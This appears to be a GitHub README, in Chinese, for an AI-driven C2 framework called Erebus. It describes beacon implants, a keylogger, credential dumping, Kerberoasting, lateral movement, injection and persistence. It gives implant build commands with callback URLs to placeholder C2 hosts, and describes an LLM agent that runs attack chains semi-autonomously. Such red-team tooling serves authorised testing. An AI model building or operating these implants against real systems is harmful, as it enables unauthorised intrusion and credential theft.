KKingZero/Erebus

GitHub: KKingZero/Erebus

一款 AI 原生的 C2 攻击框架,采用 beacon 架构与 human-in-the-loop 审批机制,覆盖从侦察、横向后到后渗透的完整红队操作链。

Stars: 0 | Forks: 0

# Erebus Exploitation Framework 一个用于 AI 驱动的攻击性安全操作的自定义命令与控制(C2)框架。**teamserver**、操作员 CLI 和监听器使用 Go 编写;implant 可选 **Go**(默认)或可选的 **C** Windows 构建版本(`cimplant/`)。Erebus 采用 beacon 模式架构,使用 protobuf 通信协议、gRPC 操作员 API 以及基于 mTLS 加密的通信。 ## 架构 ``` ┌──────────────┐ gRPC (mTLS) ┌──────────────────────┐ │ Operator │◄───────────────────────────►│ Teamserver │ │ CLI / AI │ │ │ └──────────────┘ │ ┌────────────────┐ │ │ │ Listener Mgr │ │ ┌──────────────┐ HTTPS/DNS (Protobuf) │ │ HTTPS / DNS │ │ │ Implant │◄───────────────────────────►│ ├────────────────┤ │ │ Go or C │ /register, /beacon │ │ Sessions Mgr │ │ │ (Beacon) │ │ ├────────────────┤ │ └──────────────┘ │ │ Approval Gate │ │ │ │ (gRPC only) │ │ │ ├────────────────┤ │ │ │Task Dispatcher │ │ │ ├────────────────┤ │ │ │ SQLite DB │ │ │ └────────────────┘ │ └──────────────────────┘ ``` Implant 流量通过 **Listener Manager** → 共享 beacon 处理程序 → **Sessions Manager** 进入。操作员 `ExecuteTask` 调用在 **Task Dispatcher** 将工作排入下一个 beacon 的队列之前,需经过 **Approval Gate**。 ## 功能 ### 核心基础设施 - **Teamserver** — 中央 C2 服务器,提供用于操作员/AI 交互的 gRPC API - **HTTPS Listener** — 用于 implant beacon 的 TLS 加密回调处理程序 - **DNS Listener** — 通过带 base32 编码数据的 TXT 记录查询实现的隐蔽 C2 通道 - **Beacon Implant** — 具有可配置 sleep/jitter 间隔的轻量级 agent - **Operator CLI** — 具有制表符补全功能的交互式 REPL,用于直接的操作员控制 - **Task Queue** — 异步任务分发,支持可选的阻塞等待,默认超时时间为 10 分钟 - **Event Streaming** — 实时 gRPC 事件流(新会话、任务结果、审批) - **Approval Gates** — 在 `ExecuteTask` 上设置的服务器端关卡,用于凭据转储、横向移动、持久化、注入和高风险 `TASK_MODULE` 目标(操作员可通过 CLI 或 gRPC 执行 `approve`/`deny`) ### Implant 功能 | 类别 | 任务 | |---|---| | **Execution** | 带结构化输出的 Shell 命令执行 | | **File Operations** | 上传/下载(上限 50MB),TOCTOU 安全读取 | | **Process Management** | 进程列出(跨平台),进程终止 | | **Network Recon** | 接口枚举,带服务检测的 TCP 端口扫描 | | **Screenshot** | 基于 GDI 的屏幕捕获 | | **Keylogger** | 带窗口标题捕获的低级键盘挂钩 | | **SOCKS Proxy** | 用于网络枢纽的 SOCKS5 隧道 | ### 活动目录攻击 - **LDAP Enumeration** — 12 种预定义查询类型(可 kerberoast 的 SPN、可 AS-REP roast 的账户、域管理员、DC、GPO、信任关系、委派、自定义过滤器) - **Kerberoasting** — TGS 提取,输出兼容 hashcat(模式 13100/19600/19700) - **AS-REP Roasting** — 预身份验证绕过,输出 hashcat 模式 18200 - **Credential Dumping** — LSASS minidump、SAM/SYSTEM 配置单元提取、浏览器凭据收集(Chrome/Edge/Firefox) ### 横向移动 - **WinRM** — 基于 HTTP 的远程执行(跨平台) - **PsExec** — 通过 ADMIN$ 共享进行基于 SMB 的 payload 投放 - **WMI** — Windows Management Instrumentation 执行(Windows) - **DCOM** — 用于远程执行的 COM/DCOM 自动化(Windows) ### 规避与后渗透 - **Process Injection** — CreateRemoteThread、APC Queue 方法以及可插拔框架 - **PE/Shellcode Loader** — 反射式 PE 加载,具有完整的 IAT 修补和重定位处理 - **Persistence** — 计划任务、注册表 Run 键、Windows 服务 - **Privilege Escalation** — Token 窃取(DuplicateTokenEx)、UAC 绕过(fodhelper/eventvwr) ### 安全 - **mTLS** — 用于操作员 ↔ teamserver 通信的双向 TLS - **HMAC-SHA256** — 通过预共享密钥进行 implant 身份验证 - **AES-256-GCM** — 用于 implant payload 的会话加密 - **跨平台** — Linux 和 Windows implant 构建 - **SQLite 持久化** — 会话、任务和战利品本地存储 ## 快速开始 ### 前置条件 - Go 1.22+ - `protoc` 及 `protoc-gen-go` 和 `protoc-gen-go-grpc` 插件 - `make` - **C implant(可选):** Windows 交叉编译器 — Fedora:`mingw64-gcc` + `mingw64-cpp`;或运行 `scripts/setup_c_toolchain.sh` 获取 llvm-mingw ### 构建 ``` # 生成 protobuf code make proto # 构建所有组件 make all # 或单独构建: make erebus # Build unified start command make teamserver # Build teamserver make implant # Build implant (Linux) make implant-win # Build implant (Windows) make operator # Build operator CLI make implant-c # Build C implant (Windows PE, requires mingw) ``` ### 验证构建 ``` # Unit tests + teamserver/implant builds(如果 mingw 可用,则包含 C implant) bash scripts/smoke_test.sh # Live teamserver flow:register → beacon → shell task → approval gate go test ./server/e2e/... -v -count=1 ``` ### 启动 Erebus(推荐) ``` make install # puts erebus + Erebus in ~/.local/bin erebus # or: Erebus ``` 无需安装的一次性构建:`make erebus && ./build/erebus` 不带参数运行时,`erebus` 会打开交互式控制台(ASCII banner,`erebus ›` 提示符)。 ``` ./build/erebus serve # start teamserver + operator C2 session ./build/erebus teamserver # teamserver only ./build/erebus operator # connect to existing teamserver ./build/erebus -json # JSON console mode ./build/erebus help ``` ### 运行 Teamserver ``` ./build/teamserver ``` teamserver 使用默认配置启动: - gRPC API 监听 `127.0.0.1:50051` - HTTPS listener 监听 `0.0.0.0:443` - 数据存储在 `~/.erebus/` 通过 CLI 标志覆盖: ``` ./build/teamserver \ -grpc 127.0.0.1:50051 \ -host 0.0.0.0 \ -port 8443 \ -secret ``` ### 运行 Operator CLI ``` ./build/operator \ -server 127.0.0.1:50051 \ -cert operator.crt \ -key operator.key \ -ca ca.crt ``` ### 使用自定义配置构建 Implant **首选(在 `erebus serve` 之后使用 operator REPL):** ``` erebus operator # or: erebus serve then use operator session generate --os linux --arch amd64 --sleep 500 --callback https://your-c2:8443 --out ./implant generate --os windows --arch amd64 --language c --sleep 500 --callback https://your-c2:8443 generate --help ``` **Makefile(开发):** ``` # HTTPS transport(默认)— 交互/演示时使用低 SLEEP_MS make implant \ CALLBACK_URL=https://your-c2-server:8443 \ SLEEP_MS=500 \ JITTER_PCT=10 # DNS transport make implant \ TRANSPORT_TYPE=dns \ DNS_DOMAIN=c2.example.com \ DNS_SERVER=ns1.example.com:53 \ SLEEP_MS=30000 ``` ### Implant OPSEC 级别 | 级别 | 语言 | 典型大小 | 用途 | |------|----------|--------------|-----| | 开发 / 演示 | Go | 较大(剥离后约 15–25MB) | 快速迭代,Linux/Windows,完整模块 | | Windows 交战 | C(`--language c`) | 小得多的 PE | 在 mingw 工具链可用时优先选择 | Teamserver **不会**强制使用 5 秒的 beacon 间隔;除非操作员运行 `sleep `,否则 implant 会保持构建时的 `sleep_ms`。任务结果在执行后立即刷新(在交付前不会有额外的完整 sleep)。 ### C Implant (Windows) C implant 镜像了 Go 通信协议(HTTPS/DNS,HMAC 认证,AES-256-GCM 会话加密),使用间接系统调用和编译内置的模块。 ``` # One-time toolchain(llvm-mingw,约 150MB 下载) bash scripts/setup_c_toolchain.sh # 或者在 Fedora 上: # sudo dnf install mingw64-gcc mingw64-cpp make implant-c \ IMPLANT_ID=my-implant \ IMPLANT_SECRET=$(openssl rand -hex 32) \ CALLBACK_URL=https://your-c2:8443 # 输出:build/implant_c.exe ``` 另外:操作员可使用 `generate --language c`(仅限 windows/amd64 exe)。 **C implant 缺失功能(如实说明):** Kerberoast/AS-REP 票据提取和几个横向移动原语(PsExec、WinRM、DCOM)目前是存根;WMI 可正常工作。`cimplant/src/transport/https.c` 中的 TLS pinning 尚未完全实现。全面验证需要 Windows 主机或 VM。 ## 配置 配置文件会在 `~/.erebus/server.yaml` 中自动创建: ``` grpc_addr: "127.0.0.1:50051" db_path: "/home/user/.erebus/erebus.db" data_dir: "/home/user/.erebus" implant_secret: "" listeners: - name: default-https protocol: https host: 0.0.0.0 port: 443 ``` ## Operator CLI 命令 ``` sessions - List active sessions use - Select active session shell - Execute shell command upload - Upload file download - Download file ps - List processes kill - Kill process ifconfig - List network interfaces portscan - TCP port scan sleep [jitter] - Set beacon interval screenshot - Take screenshot keylog - Keylogger control tasks - List session tasks result - Get task result loot - List loot events - Stream events listeners - List listeners pending - List pending approvals approve - Approve operation deny [reason] - Deny operation exit - Exit operator CLI help - Show help ``` 高风险任务(`TASK_CREDS_DUMP`、`TASK_LATERAL_MOVE`、`TASK_PERSIST`、`TASK_INJECT`、`TASK_PE_LOAD`、`TASK_PRIVESC`,以及用于 `creds_dump`、`lateral_move`、`persist`、`privesc`、`inject` 的 `TASK_MODULE`)会在 `ExecuteTask` 中阻塞,直到操作员通过 `pending`/`approve` 或 gRPC `Approve` RPC 批准。 **双控机制:** 请求者和批准者必须使用不同的 mTLS 客户端证书(不同的 CN)。首次执行 `erebus serve` 时,teamserver 会生成 `~/.erebus/certs/operator.pem`(CN 为 `operator`)用于任务执行,并生成 `~/.erebus/certs/approver.pem`(CN 为 `approver`)用于 `pending`/`approve`/`deny`。operator REPL 会自动使用两者。对于双终端工作流,请使用 operator 证书运行任务命令,并使用 approver 证书进行批准: ``` # Terminal 1 — 请求 high-risk task(operator seat) erebus operator -cert ~/.erebus/certs/operator.pem -key ~/.erebus/certs/operator-key.pem -ca ~/.erebus/certs/ca.pem erebus> use erebus> shell ... # Terminal 2 — 批准(approver seat) erebus operator -cert ~/.erebus/certs/approver.pem -key ~/.erebus/certs/approver-key.pem -ca ~/.erebus/certs/ca.pem erebus> pending erebus> approve ``` **文件操作:** Implant `upload`/`download` 路径相对于 implant 工作目录。绝对路径和 `..` 遍历会在 implant 路径限制(jail)中被服务器端拒绝。 ## AI(Ollama + 控制台) 控制台 `ai` 命令默认与本地 **Ollama** 实例(`http://localhost:11434/v1`,模型 `llama3.2`)通信。如果 teamserver 正在运行且存在操作员证书,`ai` 会升级为完全自主的 agent。 ``` ollama serve ollama pull llama3.2 cp config/llm.yaml.example ~/.erebus/llm.yaml # optional overrides ./build/erebus erebus › ai "enumerate kerberoastable users in corp.local" ``` 设置 `OPENAI_API_KEY` 以使用 OpenAI 代替 Ollama(参见 `config/llm.yaml.example`)。 ## AI Agent AI agent sidecar 通过 gRPC(mTLS)连接到 teamserver,并由兼容 OpenAI 的 LLM(默认为 Ollama)驱动攻击链。 ``` make agent cp config/agent.yaml.example ~/.erebus/agent.yaml # 默认使用 Ollama;为 OpenAI 设置 OPENAI_API_KEY # Semi-autonomous engagement ./build/agent -config ~/.erebus/agent.yaml \ -session \ -objective "enumerate AD and find kerberoastable accounts" # 等待新 implant,然后运行初始 enumeration ./build/agent -config ~/.erebus/agent.yaml -watch \ -objective "initial recon on new session" # JSON output(每步一个对象) ./build/agent -json -config ~/.erebus/agent.yaml -session -objective "..." # 不使用 LLM 的 Smoke test ./build/agent -config ~/.erebus/agent.yaml -session -dry-run net_ifconfig ``` **Agent 工具:** `list_sessions`、`get_session`、`list_loot`、`run_shell`、`net_ifconfig`、`process_list`、`process_kill`、`portscan`、`file_download`、`file_upload`、`cloud_harvest`、`screenshot`、`socks_start`、`socks_stop`、`ldap_enum`、`kerberoast`、`asreproast`、`creds_dump`、`lateral_move`、`persist`、`privesc`、`mission_complete`。 可链接的模块结果(LDAP、kerberoast、凭据转储、端口扫描、云)在 protobuf 中包含 `next_suggested_actions` —— 解释器会将其作为后续步骤呈现给 LLM。 **半自主行为:** 低风险工具(`run_shell`、`net_ifconfig`、`process_list`、`portscan`、`cloud_harvest`、`file_download` 等)会自动运行。高风险工具(`ldap_enum`、`kerberoast`、`creds_dump`、`lateral_move` 等)会阻塞,直到**不同的操作员**在第二个终端中使用 approver 证书进行批准(参见上文的双控机制)。 ## 测试 | 脚本 / 测试 | 覆盖范围 | |---|---| | `scripts/smoke_test.sh` | 单元测试(建议、agent、DNS 数据块、审批、beacon 处理程序)、teamserver + agent + implant 构建、可选的 C PE 构建 | | `go test ./server/e2e/...` | 实时 teamserver:implant 注册/beacon、shell 任务、凭据转储审批关卡、agent 执行器(shell、LDAP 建议、文件下载、审批流程) | | `docs/GOLDEN_DEMO.md` | Sprint 1 GOAD 黄金演示运行手册(Plan → Auto → approve) | | `scripts/golden_ad_eval.md` | 5× Auto 通过/失败检查清单 | | `docs/AD_ENGAGEMENT.md` | AD 后渗透手册(Sprint 1–2 路径) | | `docs/GOAD_LAB.md` | 此主机的 GOAD/MINILAB 安装状态和 sudo 步骤 | ## 项目结构 ``` . ├── cimplant/ # C Windows implant (beacon, transport, modules) ├── cmd/ │ ├── teamserver/ # Teamserver entry point │ ├── implant/ # Go implant entry point │ ├── operator/ # Operator CLI (REPL + commands) │ └── agent/ # AI agent sidecar (LLM + gRPC) ├── scripts/ │ ├── smoke_test.sh # Build + unit test smoke checks │ ├── setup_c_toolchain.sh # llvm-mingw downloader │ └── e2e_live.sh # Wrapper for live e2e tests ├── server/ │ ├── server.go # Teamserver core │ ├── grpc.go # gRPC service implementation │ ├── events.go # Event bus for real-time streaming │ ├── config.go # Server configuration │ ├── approval/ # Approval gate for high-risk ops │ ├── db/ # SQLite store, models, migrations │ ├── builder/ # Go + C implant build pipeline │ ├── listeners/ # HTTPS + DNS listeners (shared beacon handler) │ ├── e2e/ # Live teamserver integration tests │ ├── sessions/ # Session tracking + reaper │ ├── socks/ # Server-side SOCKS5 proxy │ └── tasks/ # Task queue + dispatcher ├── pkg/agent/ # AI agent library (catalog, loop, LLM tools) ├── implant/ │ ├── implant.go # Implant core (beacon loop) │ ├── config.go # Build-time config (ldflags) │ ├── transport/ # HTTPS + DNS transport layers │ ├── tasks/ # Task executor + handlers │ │ ├── executor.go # Task routing (switch on TaskType) │ │ ├── file.go # File upload/download │ │ ├── process*.go # Process list/kill (cross-platform) │ │ ├── network.go # Ifconfig + port scan │ │ ├── screenshot*.go # Screen capture (Windows/stub) │ │ ├── keylog*.go # Keylogger (Windows/stub) │ │ ├── inject*.go # Process injection (Windows/stub) │ │ ├── peload*.go # PE loader (Windows/stub) │ │ └── socks.go # SOCKS5 proxy endpoint │ └── modules/ │ ├── shell/ # Shell execution module │ ├── ad/ # LDAP enum, Kerberoast, AS-REP roast │ ├── creds/ # LSASS, SAM, browser credential dumping │ ├── lateral/ # WinRM, PsExec, WMI, DCOM │ ├── persist/ # Scheduled tasks, registry, services │ └── privesc/ # Token theft, UAC bypass ├── pkg/ │ ├── crypto/ # AES, mTLS, key generation │ ├── dnstransport/ # DNS chunk encode/decode (shared server + implant) │ ├── pb/ # Generated protobuf code │ └── plugin/ # Module plugin interface + registry ├── proto/ # Protobuf definitions │ ├── c2.proto # Implant <-> Teamserver messages │ ├── api.proto # Operator gRPC API + service │ └── listener.proto # Listener configuration messages └── Makefile ``` ## 通信协议 所有通信均使用 Protocol Buffers: | 通道 | 协议 | 认证 | 定义 | |---|---|---|---| | Implant ↔ Teamserver | HTTPS + Protobuf | HMAC-SHA256 + AES-256-GCM | `c2.proto` | | Implant ↔ Teamserver | DNS TXT + Protobuf | HMAC-SHA256 + AES-256-GCM | `c2.proto` | | Operator ↔ Teamserver | gRPC | mTLS | `api.proto` | ## gRPC API `ErebusC2` 服务暴露以下接口: | RPC | 描述 | |---|---| | `StartListener` | 启动新的监听器(HTTPS 或 DNS) | | `StopListener` | 停止正在运行的监听器 | | `ListListeners` | 列出所有监听器 | | `ListSessions` | 列出活动会话 | | `GetSession` | 获取会话详情 | | `KillSession` | 终止会话 | | `ExecuteTask` | 将任务分发到 implant | | `GetTaskResult` | 轮询任务结果 | | `ListTasks` | 列出某个会话的任务 | | `Subscribe` | 流式传输实时事件 | | `GenerateImplant` | 生成 implant 二进制文件 | | `ListLoot` | 列出收集的战利品 | | `GetLoot` | 获取战利品项目 | | `ListPendingApprovals` | 列出待处理的审批请求 | `Approve` | 批准高风险操作 | | `Deny` | 拒绝高风险操作 | ## 任务类型 | 任务类型 | 描述 | 平台 | |---|---|---| | `TASK_SHELL` | Shell 命令执行 | 跨平台 | | `TASK_FILE_DOWNLOAD` | 从目标下载文件 | 跨平台 | | `TASK_FILE_UPLOAD` | 向目标上传文件 | 跨平台 | | `TASK_PROCESS_LIST` | 列出正在运行的进程 | 跨平台 | | `TASK_PROCESS_KILL` | 按 PID 终止进程 | 跨平台 | | `TASK_NET_IFCONFIG` | 列出网络接口 | 跨平台 | | `TASK_NET_PORTSCAN` | TCP 端口扫描 | 跨平台 | | `TASK_SCREENSHOT` | 捕获屏幕截图 | Windows | | `TASK_KEYLOG_START` | 启动键盘记录器 | Windows | | `TASK_KEYLOG_STOP` | 停止键盘记录器 | Windows | | `TASK_KEYLOG_DUMP` | 转储捕获的击键 | Windows | | `TASK_INJECT` | 进程注入 | Windows | | `TASK_PE_LOAD` | 反射式 PE 加载 | Windows | | `TASK_SOCKS_START` | 启动 SOCKS5 代理 | 跨平台 | | `TASK_SOCKS_STOP` | 停止 SOCKS5 代理 | 跨平台 | | `TASK_SLEEP` | 更改 beacon 间隔 | 跨平台 | | `TASK_EXIT` | 终止 implant | 跨平台 | | `TASK_MODULE` | 执行已注册的模块 | 跨平台 | | `TASK_LDAP_ENUM` | LDAP/AD 枚举 | 跨平台 | | `TASK_KERBEROAST` | Kerberoasting 攻击 | 跨平台 | | `TASK_ASREP_ROAST` | AS-REP roasting 攻击 | 跨平台 | | `TASK_CREDS_DUMP` | 凭据转储 | Windows | | `TASK_LATERAL_MOVE` | 横向移动 | 视情况而定 | | `TASK_PERSIST` | 安装持久化 | Windows | | `TASK_PRIVESC` | 权限提升 | Windows | ## 许可证 [MIT](LICENSE)
标签:AI辅助攻防, C2框架, EVTX分析, Go, Gophish, gRPC, IP 地址批量处理, mTLS, Python工具, Ruby工具, 安全学习资源, 日志审计, 网络信息收集